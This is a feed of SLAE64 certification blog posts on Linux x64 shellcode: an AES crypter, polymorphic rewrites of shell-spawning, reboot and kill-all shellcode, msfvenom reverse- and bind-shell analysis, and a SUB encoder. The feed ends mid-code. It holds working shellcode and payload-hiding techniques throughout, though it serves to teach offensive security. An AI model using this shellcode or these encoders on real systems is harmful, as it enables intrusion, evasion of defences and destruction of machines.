<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Adam on Medium]]></title>
        <description><![CDATA[Stories by Adam on Medium]]></description>
        <link>https://medium.com/@bytesoverbombs?source=rss-5f834c60bd60------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*9RrzGZOWEFc7lku0PCGnXA.jpeg</url>
            <title>Stories by Adam on Medium</title>
            <link>https://medium.com/@bytesoverbombs?source=rss-5f834c60bd60------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 22:54:25 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@bytesoverbombs/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[x64 SLAE Examination Attempt]]></title>
            <link>https://medium.com/@bytesoverbombs/x64-slae-examination-attempt-1f0f65dff6b7?source=rss-5f834c60bd60------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f0f65dff6b7</guid>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[64-bit]]></category>
            <category><![CDATA[slae64]]></category>
            <dc:creator><![CDATA[Adam]]></dc:creator>
            <pubDate>Sun, 01 Dec 2019 21:12:37 GMT</pubDate>
            <atom:updated>2019-12-01T21:12:37.353Z</atom:updated>
            <content:encoded><![CDATA[<p>This blog post summarizes the assignments created in an attempt to pass the x64 SLAE examination. Below is a list of each of the assignment created as well as a link to the source code project containing all relevant shellcode, harnesses, and compiler scripts.</p><h3>Assignments</h3><ul><li><a href="https://medium.com/@bytesoverbombs/x64-slae-assignment-1-bind-shell-b48079637789">Assignment 1 — Bind Shell</a></li><li><a href="https://medium.com/@bytesoverbombs/x64-slae-assignment-2-reverse-shell-c4b0ace4e34e">Assignment 2 — Reverse Shell</a></li><li><a href="https://medium.com/@bytesoverbombs/x64-slae-assignment-3-egg-hunter-7b56352c9df">Assignment 3 — Egg Hunter</a></li><li><a href="https://medium.com/@bytesoverbombs/x64-slae-assignment-4-custom-encoder-3b2bc6a7894a">Assignment 4 — Custom Encoder</a></li><li><a href="https://medium.com/@bytesoverbombs/x64-slae-assignment-5-shellcode-analysis-f08cfb0ff7eb">Assignment 5 — Shellcode Analysis</a></li><li><a href="https://medium.com/@bytesoverbombs/x64-slae-assignment-6-polymorphic-shellcode-47bd88c35526">Assignment 6 — Polymorphic Shellcode</a></li><li><a href="https://medium.com/@bytesoverbombs/x64-slae-assignment-7-crypter-fd2557c0af2a">Assignment 7 — Crypter</a></li></ul><h3>Source code</h3><p>The source code for this assignment can be found <a href="https://github.com/bytesoverbombs/x64-SLAE">here</a>.</p><p><em>This blog post has been created for completing the requirements of the x86_64 SecurityTube Linux Assembly Expert certification:</em></p><p><a href="https://www.pentesteracademy.com/course?id=7"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert</em></a></p><p><em>Student ID: PA-11200</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f0f65dff6b7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[x64 SLAE — Assignment 7: Crypter]]></title>
            <link>https://medium.com/@bytesoverbombs/x64-slae-assignment-7-crypter-fd2557c0af2a?source=rss-5f834c60bd60------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd2557c0af2a</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[slae64]]></category>
            <category><![CDATA[64-bit]]></category>
            <dc:creator><![CDATA[Adam]]></dc:creator>
            <pubDate>Sun, 01 Dec 2019 21:09:43 GMT</pubDate>
            <atom:updated>2019-12-01T21:09:43.217Z</atom:updated>
            <content:encoded><![CDATA[<h3>x64 SLAE — Assignment 7: Crypter</h3><p>The seventh assignment for the x64 SLAE examination is to create a crypter of any modern encryption algorithm. In this case, the AES algorithm will be used. This assignment will walk through all stages of the crypter.</p><h3>Setup</h3><p>To start, the AES libraries need to be downloaded and compiled. The following commands can be performed to do this:</p><pre>git clone <a href="https://github.com/kokke/tiny-AES-c">https://github.com/kokke/tiny-AES-c</a></pre><pre>cd tiny*</pre><pre>make</pre><p>If make is successful (and the packages used by the operating system may need to be updated to do this) it should look as follows:</p><pre>$ make<br>[CC] aes.o -Wall -Os -c<br>[CC] test.o -Wall -Os -c<br>[LD] test.elf</pre><p>With test.elf having been successfully compiled, execute it to confirm everything is in working order.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/301/1*wm0X-bHc0Z2J_r3x8SSWEQ.png" /></figure><h3>Encrypting</h3><p>After reviewing the C code of the test.elf binary, a very simple encrypt function was created. The following function will take user supplied shellcode, a key to encrypt it with, and an IV to perform the encryption. The function itself won’t return anything because the shellcode is modified via it’s pointer.</p><pre>void encrypt(uint8_t shellcode[], uint8_t key[], uint8_t iv[])<br>{</pre><pre>    printf(&quot;\n\nEncrypted shellcode:\n&quot;);</pre><pre>    struct AES_ctx ctx;</pre><pre>    AES_init_ctx_iv(&amp;ctx, key, iv);</pre><pre>    AES_CBC_encrypt_buffer(&amp;ctx, shellcode, strlen(<br>    (char *)shellcode));</pre><pre>}</pre><h4>Decrypting</h4><p>To decrypt the shellcode in memory, the decrypt function requires a user to supply the encrypted shellcode, the key that it was encrypted with, and the IV leveraged during the encryption. If the key and IV were the same that was used to encrypt the shellcode, the assembly should be decrypted. The function itself won’t return anything because the shellcode is modified via it’s pointer.</p><pre>void decrypt(uint8_t shellcode[], uint8_t key[], uint8_t iv[])<br>{</pre><pre>    printf(&quot;\n\nDecrypted shellcode:\n&quot;);</pre><pre>    struct AES_ctx ctx;</pre><pre>    AES_init_ctx_iv(&amp;ctx, key, iv);</pre><pre>    AES_CBC_decrypt_buffer(&amp;ctx, shellcode, strlen(<br>    (char *)shellcode));</pre><pre>}</pre><h4>Bringing it all together</h4><p>In order to bring it all together, following code is a sample from the main() function of the encryption/decryption program. The code will take user supplied shellcode, encrypt it, print out the encrypted code, then decrypt it back to the original code, then execute it.</p><pre>printf(&quot;\nPlaintext shellcode:\n&quot;);<br>prettyprint(shellcode);</pre><pre>encrypt(shellcode, key, iv);</pre><pre>prettyprint(shellcode);</pre><pre>decrypt(shellcode, key, iv);</pre><pre>prettyprint(shellcode);</pre><pre>printf(&quot;\n\nExecuting decrypted shellcode...\n&quot;);</pre><pre>sleep(1);</pre><pre>int (*ret)() = (int(*)())shellcode;</pre><pre>ret();</pre><pre>return 0;</pre><p>Compile the program with the following command and execute it. The binary will encrypt the shellcode, decrypt it, then execute it.</p><pre>gcc -fno-stack-protector -z execstack -Wall -Os shellcode.c aes.o aes.h -o shellcode</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*ESfGqMa05957Z0ugSC55KQ.png" /></figure><p><em>This blog post has been created for completing the requirements of the x86_64 SecurityTube Linux Assembly Expert certification:</em></p><p><a href="https://www.pentesteracademy.com/course?id=7"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert</em></a></p><p><em>Student ID: PA-11200</em></p><p><em>The source code for this assignment can be found </em><a href="https://github.com/bytesoverbombs/x64-SLAE/tree/master/Assignment7-Crypter"><em>here</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd2557c0af2a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[x64 SLAE — Assignment 6: Polymorphic Shellcode]]></title>
            <link>https://medium.com/@bytesoverbombs/x64-slae-assignment-6-polymorphic-shellcode-47bd88c35526?source=rss-5f834c60bd60------2</link>
            <guid isPermaLink="false">https://medium.com/p/47bd88c35526</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[64-bit]]></category>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[slae64]]></category>
            <dc:creator><![CDATA[Adam]]></dc:creator>
            <pubDate>Sun, 01 Dec 2019 21:06:48 GMT</pubDate>
            <atom:updated>2019-12-01T21:06:48.872Z</atom:updated>
            <content:encoded><![CDATA[<h3>x64 SLAE — Assignment 6: Polymorphic Shellcode</h3><p>For the sixth x64 SLAE assignment, polymorphic shellcode must be created. In this case, polymorphic means that the shellcode will be hand crafted to contain different instructions than it originally contained, without losing any functionality. The three shellcode that will be taken from shell-storm.org are:</p><ol><li>Linux/x86_64 — execveat(“/bin//sh”)</li><li>Linux/x86_64 — reboot(POWER_OFF)</li><li>Linux/x86_64 — sethostname() &amp; killall</li></ol><h3>Linux/x86_64 — execveat(&quot;/bin//sh&quot;)</h3><p>The first example of polymorphic shellcode that will be created is <a href="http://shell-storm.org/shellcode/files/shellcode-905.php">execveat(“/bin//sh”)</a>. This piece of code will spawn a basic shell. It’s original size is 29 bytes.</p><p>The original shellcode can be found below:</p><pre>section .text<br>global _start</pre><pre>_start:<br>    push   0x42<br>    pop    rax<br>    inc    ah<br>    cqo <br>    push   rdx<br>    movabs rdi, 0x68732f2f6e69622f<br>    push   rdi<br>    push   rsp<br>    pop    rsi<br>    mov    r8, rdx<br>    mov    r10, rdx<br>    syscall</pre><p>In order to change around the bytes without losing functionality, the following modifications were performed:</p><ul><li>Instead of immediately pushing 0x142 into rax, rax is xor’d out. This zero is then used instead of the register’s original zero holder (rdx) e.g. being a string null terminator and zeroing out other registers</li><li>Instead of /bin//sh, //bin/sh is used</li><li>The string object was popped into r8, and a zero into rsi, then these values were exchanged</li><li>Lastly, rax was properly configured with an add command instead of mov</li></ul><p>With the modifications the new size is 36 bytes (a 24.14% increase).</p><p>The final shellcode is displayed below:</p><pre>section .text<br>global _start</pre><pre>_start:<br>    xor rax, rax<br>    push rax<br>    mov rdi, 0x68732f6e69622f2f<br>    push rdi<br>    push rsp<br>    pop r8<br>    mov rsi, rax<br>    xchg rsi, r8<br>    mov r10, rax<br>    mov rdx, rax<br>    add al, 0x42<br>    inc ah<br>    syscall</pre><p>After compiling the shellcode executing it within a harness, the following screenshot indicates that the functionality is still working as intended:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*JIKFTg-dX5mrhXoXFzKNDg.png" /></figure><h3>Linux/x86_64 — reboot(POWER_OFF)</h3><p>The second example of polymorphic shellcode that will be created is <a href="http://shell-storm.org/shellcode/files/shellcode-602.php">reboot(POWER_OFF)</a>. This piece of code will reboot a user’s computer. It’s original size is 19 bytes.</p><p>The original shellcode can be found below:</p><pre>section .text<br>    global _start</pre><pre>_start:<br>    mov     edx, 0x4321fedc<br>    mov     esi, 0x28121969<br>    mov     edi, 0xfee1dead<br>    mov     al,  0xa9<br>    syscall</pre><p>In order to change around the bytes without losing functionality, the following modifications were performed:</p><ul><li>0x28121969 is now moved into edx</li><li>0xfee1dead is now moved into esi</li><li>0x4321fedc is now moved into edi</li><li>The esi, edx, and edi registers are then exchanged to move the appropriate values back into their proper places</li><li>Instead of moving 0xa9 into rax, rax is xor’d with itself and 0xa9 is added to it</li></ul><p>With the modifications the new size is 26 bytes (a 36.84% increase).</p><p>The final shellcode is displayed below:</p><pre>section .text<br>    global _start</pre><pre>_start:<br>    mov     edx, 0x28121969    <br>    mov     esi, 0xfee1dead<br>    mov     edi, 0x4321fedc<br>    xchg    esi, edx<br>    xchg    edx, edi<br>    xor     rax, rax<br>    add     al, 0xa9<br>    syscall</pre><p><strong>WARNING</strong>! Running the shellcode above will in fact reboot your computer. Be careful. Compile and execute it at your own risk.</p><h3>Linux/x86_64 — sethostname() &amp; killall</h3><p>The second example of polymorphic shellcode that will be created is <a href="http://shell-storm.org/shellcode/files/shellcode-605.php">sethostname() &amp; killall</a>. This piece of code will change the victim’s hostname and kill all programs. It’s original size is 33 bytes.</p><p>The original shellcode can be found below:</p><pre>section .text<br>    global _start</pre><pre>_start:</pre><pre>;-- setHostName(&quot;Rooted !&quot;); 22 bytes --;<br>    mov     al, 0xaa<br>    mov     r8, &#39;Rooted !&#39;<br>    push    r8<br>    mov     rdi, rsp<br>    mov     sil, 0x8<br>    syscall</pre><pre>;-- kill(-1, SIGKILL); 11 bytes --;<br>    push    byte 0x3e<br>    pop     rax<br>    push    byte 0xff<br>    pop     rdi<br>    push    byte 0x9<br>    pop     rsi<br>    syscall</pre><p>In order to change around the bytes without losing functionality, the following modifications were performed:</p><ul><li>0xaa is moved into sil, and 0x08 is moved into al. Then rax and rsi are exchanged</li><li>The hostname is changed to pwnd instead of Rooted !</li><li>For sigkill, 0x3e is moved into rdi, 0xff into rsi, and 0x9 into rax. These values are then manipulated back into their proper places.</li></ul><p>With the modifications the new size is 32 bytes (a -3.03% increase). That’s right, the final payload was shorter than the original despite modifications.</p><p>The final shellcode is displayed below:</p><pre>section .text<br>    global _start</pre><pre>_start:</pre><pre>;-- setHostName(&quot;pwnd&quot;); 17 bytes --;<br>    mov     sil, 0xaa<br>    push    &#39;pwnd&#39;<br>    mov     rdi, rsp<br>    mov     al, 0x08<br>    xchg    rax, rsi<br>    syscall</pre><pre>;-- kill(-1, SIGKILL); 15 bytes --;<br>    push    byte 0x3e<br>    pop     rdi<br>    push    byte 0xff<br>    pop     rsi<br>    push    byte 0x9<br>    pop     rax<br>    xchg    rsi, rax<br>    xchg    rax, rdi<br>    syscall</pre><p><strong>BE CAREFUL! </strong>Running this could damage your system. Running it effectively kills your system. Use it at your own risk. After running it, all user programs are killed and the user falls back into the following prompt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/288/1*BbqH2tOFYVmzOpp5Q61XkQ.png" /></figure><p><em>This blog post has been created for completing the requirements of the x86_64 SecurityTube Linux Assembly Expert certification:</em></p><p><a href="https://www.pentesteracademy.com/course?id=7"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert</em></a></p><p><em>Student ID: PA-11200</em></p><p><em>The source code for this assignment can be found </em><a href="https://github.com/bytesoverbombs/x64-SLAE/tree/master/Assignment6-Polymorphic"><em>here</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47bd88c35526" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[x64 SLAE — Assignment 5: Shellcode Analysis]]></title>
            <link>https://medium.com/@bytesoverbombs/x64-slae-assignment-5-shellcode-analysis-f08cfb0ff7eb?source=rss-5f834c60bd60------2</link>
            <guid isPermaLink="false">https://medium.com/p/f08cfb0ff7eb</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[64-bit]]></category>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[slae64]]></category>
            <dc:creator><![CDATA[Adam]]></dc:creator>
            <pubDate>Sun, 01 Dec 2019 21:03:07 GMT</pubDate>
            <atom:updated>2019-12-01T21:03:07.824Z</atom:updated>
            <content:encoded><![CDATA[<h3>x64 SLAE — Assignment 5: Shellcode Analysis</h3><p>The fifth assignment for the x64 SLAE examination is to perform shellcode analysis for various msfvenom payloads. The payloads that were chosen are below:</p><ul><li>linux/x64/exec</li><li>linux/x64/shell/reverse_tcp</li><li>linux/x64/shell/bind_tcp</li></ul><h4>linux/x64/exec</h4><p>The first msfvenom payload that will be examined is linux/x64/exec. To start assessing it, the payload needs to be created. To start execute the following:</p><pre>msfvenom -p linux/x64/exec CMD=whoami -f c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*jnxtaYD9l--Y6zXQjh-ydg.png" /></figure><p>Copy the shellcode into a C harness, compile it, and have GDB walk through it:</p><pre>gcc -fno-stack-protector -z execstack -o harness harness.c</pre><pre>gdb -q ./harness</pre><p>After stepping through the initial few instructions, eventually the debugger will get to the shellcode. Type disas to disassemble the function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*pDojGnA5vKEnDiN7EJ7ADg.png" /></figure><p>The commented shellcode is below:</p><pre>; move 59 into rax<br>push   0x3b<br>pop    rax<br>cdq</pre><pre>; move /bin/sh to the stack<br>movabs rbx,0x68732f6e69622f<br>push   rbx</pre><pre>; move address of /bin/sh to rdi<br>mov    rdi,rsp</pre><pre>; move &quot;-c&quot; to stack<br>push   0x632d</pre><pre>; move address of -c to rsi<br>mov    rsi,rsp<br>push   rdx</pre><p>After we get to the call instruction, things change dramatically:</p><pre>; jump to second part of shellcode<br>; also places the string &#39;whoami&#39; on the stack<br>call   0x555555558067 &lt;code+39&gt;</pre><pre>** JUMP **</pre><pre>; push address of &quot;-c&quot; to stack<br>push rsi</pre><pre>; push address of &quot;/bin/sh&quot; to stack<br>push rdi</pre><pre>; move address of [&quot;/bin/sh&quot;, &quot;-c&quot;, &quot;whoami&quot;] to rsi<br>mov rsi, rsp</pre><pre>; executes systemcall: execve(&quot;/bin/sh&quot;);<br>syscall</pre><p>This ultimately executes: execve(“/bin/sh”, [“/bin/sh”, “-c”, “whoami”], null);</p><h4>linux/x64/shell/reverse_tcp</h4><p>The second msfvenom payload that will be examined is linux/x64/shell/reverse_tcp. To start assessing it, the payload needs to be created. To start execute the following:</p><pre>msfvenom -p linux/x64/shell/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*Vh0Kmk9Qqyx7kg1sI_kbqA.png" /></figure><p>Copy the shellcode into a C harness, compile it, and have GDB walk through it:</p><pre>gcc -fno-stack-protector -z execstack -o harness harness.c</pre><pre>gdb -q ./harness</pre><p>After stepping through the initial few instructions, eventually the debugger will get to the shellcode. Type disas to disassemble the function.</p><pre>; clearing out registers<br>xor    rdi,rdi</pre><pre>;:;:;                ;:;:;<br>;:;:; Executing MMAP ;:;:;<br>;:;:;                ;:;:;</pre><pre>; moving 0x9 into rax -&gt; sys_mmap<br>push   0x9<br>pop    rax<br>cdq</pre><pre>; moves 0x1000 into rdx and rsi -&gt; length of copy<br>mov    dh,0x10<br>mov    rsi,rdx</pre><pre>; clearing r0<br>xor    r9,r9</pre><pre>; moving 0x22 (34) into r10 -&gt; flags to mmap<br>push   0x22<br>pop    r10</pre><pre>; adds 0x07 into rdx turing it into 0x1007<br>mov    dl,0x7</pre><pre>; executes systemcall -&gt; mmap<br>syscall </pre><pre>;:;:;                  ;:;:;<br>;:;:; If failed -&gt; JMP ;:;:;<br>;:;:;                  ;:;:;</pre><pre>; test results of systemcall<br>test   rax,rax<br>; jump if failed to exit()<br>js     0x5555555580b7 &lt;code+119&gt;</pre><pre>; move 0xa (11) into r9<br>push   0xa<br>pop    r9</pre><pre>; saving register values to the stack<br>push   rsi<br>push   rax</pre><pre>;:;:;                  ;:;:;<br>;:;:; Executing SOCKET ;:;:;<br>;:;:;                  ;:;:;</pre><pre>; moving 0x29 into rax -&gt; sys_socket<br>push   0x29<br>pop    rax<br>cdq    </pre><pre>; moving 0x2 into rdi -&gt; int family<br>push   0x2<br>pop    rdi</pre><pre>; moving 0x1 into rsi -&gt; int type<br>push   0x1<br>pop    rsi</pre><pre>; executing sys_socket<br>syscall </pre><pre>;:;:;                  ;:;:;<br>;:;:; If failed -&gt; JMP ;:;:;<br>;:;:;                  ;:;:;</pre><pre>; test results of systemcall<br>test   rax,rax<br>; jump if failed to exit()<br>js     0x5555555580b7 &lt;code+119&gt;</pre><pre>; saving results from SOCKET for later<br>xchg   rdi,rax</pre><pre>;:;:;                   ;:;:;<br>;:;:; Executing CONNECT ;:;:;<br>;:;:;                   ;:;:;</pre><pre>; Moving &#39;127.0.0.1&#39; and &#39;8080&#39; into rsi<br>movabs rcx,0x100007f901f0002<br>push   rcx<br>mov    rsi,rsp</pre><pre>; moving 0x10 into rdx<br>push   0x10<br>pop    rdx</pre><pre>; moving 0x2a into rax<br>push   0x2a<br>pop    rax</pre><pre>; executing sys_connect<br>syscall </pre><pre>;:;:;                  ;:;:;<br>;:;:; If failed -&gt; JMP ;:;:;<br>;:;:;                  ;:;:;</pre><pre>; test results of systemcall<br>test   rax,rax<br>; jump if failed<br>jns    0x5555555580ab &lt;code+107&gt;<br>dec    r9<br>; jump if failed to exit()<br>je     0x5555555580b7 &lt;code+119&gt;</pre><pre>;:;:;                     ;:;:;<br>;:;:; Executing NANOSLEEP ;:;:;<br>;:;:;                     ;:;:;</pre><pre>; moving 0x23 into rax -&gt; sys_nanosleep<br>push   0x23<br>pop    rax</pre><pre>; moving timespec struct into rdi, 0x00 into rsi<br>push   0x0<br>push   0x5<br>mov    rdi,rsp<br>xor    rsi,rsi</pre><pre>; execute sys_nanosleep<br>syscall</pre><pre>;:;:;                  ;:;:;<br>;:;:; If failed -&gt; JMP ;:;:;<br>;:;:;                  ;:;:;</pre><pre>; test results of systemcall<br>test   rax,rax<br>; try to entire process again<br>jns    0x555555558060 &lt;code+32&gt;<br>; jump if failed to exit()<br>jmp    0x5555555580b7 &lt;code+119&gt;</pre><pre>;:;:;                ;:;:;<br>;:;:; Executing READ ;:;:;<br>;:;:;                ;:;:;</pre><pre>; moving &#39;127.0.0.1&#39; and &#39;8080&#39; into rcx<br>pop    rcx</pre><pre>; moving 0x00 into rsi and rdx<br>pop    rsi<br>pop    rdx<br>; calling sys_read<br>syscall</pre><pre>; test results of systemcall<br>test   rax,rax<br>; jump if failed to exit()<br>js     0x5555555580b7 &lt;code+119&gt;<br>jmp    rsi</pre><pre>;:;:;                ;:;:;<br>;:;:; Executing EXIT ;:;:;<br>;:;:;                ;:;:;<br> <br>; moving 0x3c (60) into rax -&gt; sys_exit<br>push   0x3c<br>pop    rax</pre><pre>; moving 0x1 into rdi -&gt; exit code 1<br>push   0x1<br>pop    rdi</pre><pre>; execute sys_exit<br>syscall</pre><p>The resulting shellcode attempts to connect to a foreign host on the designated port then read commands from the user. If any errors occur, a jmp to the exit() function is made.</p><h4>linux/x64/shell/bind_tcp</h4><p>The third msfvenom payload that will be examined is linux/x64/shell/bind_tcp. To start assessing it, the payload needs to be created. To start execute the following:</p><pre>msfvenom -p linux/x64/shell/bind_tcp LPORT=8080 -f c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*su3mVTl7nv-ri46aJ-c9hA.png" /></figure><p>Copy the shellcode into a C harness, compile it, and have GDB walk through it:</p><pre>gcc -fno-stack-protector -z execstack -o harness harness.c</pre><pre>gdb -q ./harness</pre><p>After stepping through the initial few instructions, eventually the debugger will get to the shellcode. Type disas to disassemble the function.</p><pre>;:;:;                  ;:;:;<br>;:;:; Executing SOCKET ;:;:;<br>;:;:;                  ;:;:;</pre><pre>; moving 0x29 into rax -&gt; sys_socket<br>push   0x29<br>pop    rax<br>cdq    </pre><pre>; moving 0x2 into rdi -&gt; out file descriptor<br>push   0x2<br>pop    rdi</pre><pre>; moving 0x1 into rsi -&gt; in file descriptor<br>push   0x1<br>pop    rsi</pre><pre>; executing sys_socket<br>syscall </pre><pre>; saving 0x2 for later<br>xchg   rdi,rax<br>push   rdx</pre><pre>;:;:;                ;:;:;<br>;:;:; Executing BIND ;:;:;<br>;:;:;                ;:;:;</pre><pre>; moving the port number (8080) to the stack<br>mov    DWORD PTR [rsp],0x901f0002</pre><pre>; moving address of port 8080 to rsi<br>mov    rsi,rsp</pre><pre>; moving 0x10 (16) into rdx -&gt; address length<br>push   0x10<br>pop    rdx</pre><pre>; moving 0x31 into rax -&gt; sys_bind<br>push   0x31<br>pop    rax</pre><pre>; executing sys_bind<br>syscall <br>pop    rcx</pre><pre>;:;:;                  ;:;:;<br>;:;:; Executing LISTEN ;:;:;<br>;:;:;                  ;:;:;</pre><pre>; moving 0x32 (50) into rax -&gt; sys_listen<br>push   0x32<br>pop    rax</pre><pre>; executing sys_listen<br>syscall </pre><pre>; saving results of listen for later<br>xchg   rsi,rax</pre><pre>;:;:;                  ;:;:;<br>;:;:; Executing ACCEPT ;:;:;<br>;:;:;                  ;:;:;</pre><pre>; moving 0x2b to rax -&gt; sys_accept<br>push   0x2b<br>pop    rax</pre><pre>; executing system call -&gt; sys_accept<br>syscall </pre><pre>; pushes results of ACCEPT to stack<br>push   rax<br>push   rsi<br>pop    rdi</pre><pre>;:;:;                ;:;:;<br>;:;:; Executing MMAP ;:;:;<br>;:;:;                ;:;:;</pre><pre>; moves 0x9 to rax -&gt; sys_mmap<br>push   0x9<br>pop    rax<br>cdq    </pre><pre>; moves 0x1000 into rdx<br>mov    dh,0x10</pre><pre>; copies 0x1000 into rsi<br>mov    rsi,rdx</pre><pre>; clears r9<br>xor    r9,r9</pre><pre>; moves 0x22 into r10<br>push   0x22<br>pop    r10</pre><pre>; adds 7 to rdx<br>mov    dl,0x7</pre><pre>;:;:;                ;:;:;<br>;:;:; Executing READ ;:;:;<br>;:;:;                ;:;:</pre><pre>; executes sys_mmap<br>syscall</pre><pre>; saves results into various registers<br>xchg   rsi,rax<br>xchg   rdi,rax</pre><pre>; pops results of ACCEPT into rdi<br>pop    rdi<br>; executes SYS_READ<br>syscall <br>jmp    rsi</pre><p>This shellcode creates a SOCKET, sets the socket to LISTEN, configures it to accept incoming connections, then starts to read input received. At the end it gracefully exits.</p><p><em>This blog post has been created for completing the requirements of the x86_64 SecurityTube Linux Assembly Expert certification:</em></p><p><a href="https://www.pentesteracademy.com/course?id=7"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert</em></a></p><p><em>Student ID: PA-11200</em></p><p><em>The source code for this assignment can be found </em><a href="https://github.com/bytesoverbombs/x64-SLAE/tree/master/Assignment5-ShellcodeAnalysis"><em>here</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f08cfb0ff7eb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[x64 SLAE — Assignment 4: Custom Encoder]]></title>
            <link>https://medium.com/@bytesoverbombs/x64-slae-assignment-4-custom-encoder-3b2bc6a7894a?source=rss-5f834c60bd60------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b2bc6a7894a</guid>
            <category><![CDATA[slae64]]></category>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[64-bit]]></category>
            <dc:creator><![CDATA[Adam]]></dc:creator>
            <pubDate>Sun, 01 Dec 2019 20:59:14 GMT</pubDate>
            <atom:updated>2019-12-01T20:59:14.784Z</atom:updated>
            <content:encoded><![CDATA[<h3>x64 SLAE — Assignment 4: Custom Encoder</h3><p>The fourth assignment for the x64 SLAE exam requires the creation of a custom encoder and decoder that can be used on arbitrary shellcode. For the purposes of this exam, a SUB encoder and decoder will be created.</p><h3>Setup</h3><p>To ensure that the custom encoder works, the following execve(“/bin/sh”) shellcode will be leveraged. The shellcode has been tested before and it works.</p><pre>\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05</pre><p>Running the shellcode in a harness program will result in the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/347/1*ebqVHzUh2ce9TlplH8WiQg.png" /></figure><h3>Encoder</h3><p>To assist with the custom encoder/decoder pairing, a Python script has been generated to easily create the encoded payload. Because a SUB encoder simply subtracts a certain value from each byte, the following script will look through each byte in the shellcode and do just that. In this case the SUB encoder key is 0xA. The script is as follows:</p><pre>#!/usr/bin/python<br>import sys</pre><pre>key = 0x0A</pre><pre>shellcode = (&quot;\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05&quot;)</pre><pre>encoded = &quot;&quot;</pre><pre>encoded2 = &quot;&quot;</pre><pre>for x in bytearray(shellcode) :<br>        y = (x - key)<br>        encoded += &#39;\\x%02x&#39; % (y &amp; 0xff)<br>        encoded2 += &#39;0x%02x,&#39; % (y &amp; 0xff)</pre><pre>encoded += &#39;\\x%02x&#39; % key<br>encoded2 += &#39;0x%02x&#39; % key</pre><pre>print &quot;Encoded shellcode (len %d):&quot; % len(bytearray(shellcode))</pre><pre>print encoded</pre><pre>print &quot;\nShellcode converted to ASM format (len %d):&quot; % len(bytearray(shellcode))</pre><pre>print encoded2</pre><p>After executing the sub encoder the following encoded shellcode will be generated:</p><pre>Encoded shellcode (len 32):<br>\x3e\x27\xb6\x46\x3e\xb1\x25\x58\x5f\x64\x25\x25\x69\x5e\x49\x3e\x7f\xdd\x46\x3e\x7f\xd8\x4d\x3e\x7f\xdc\x3e\x79\xb6\x31\x05\xfb\x0a</pre><pre>Shellcode converted to ASM format (len 32):<br>0x3e,0x27,0xb6,0x46,0x3e,0xb1,0x25,0x58,0x5f,0x64,0x25,0x25,0x69,0x5e,0x49,0x3e,0x7f,0xdd,0x46,0x3e,0x7f,0xd8,0x4d,0x3e,0x7f,0xdc,0x3e,0x79,0xb6,0x31,0x05,0xfb,0x0a</pre><h3>Decoder</h3><p>With the encoded shellcode in hand, it can be passed to the decoder stub in order to decode in memory. The decoder stub walks through each of the bytes, adding our key each time, restoring each of the bytes back to their original value. Simply add the shellcode in ASM format to the bottom of the stub below, compile it, and it will be ready to go.</p><pre>global _start</pre><pre>section .text</pre><pre>_start:</pre><pre>    jmp find_address</pre><pre>decoder:<br>    pop rdi<br>    xor rcx, rcx<br>    add cl, 60</pre><pre>decode:<br>    add byte [rdi], 0xa<br>    inc rdi<br>    cmp byte [rdi], 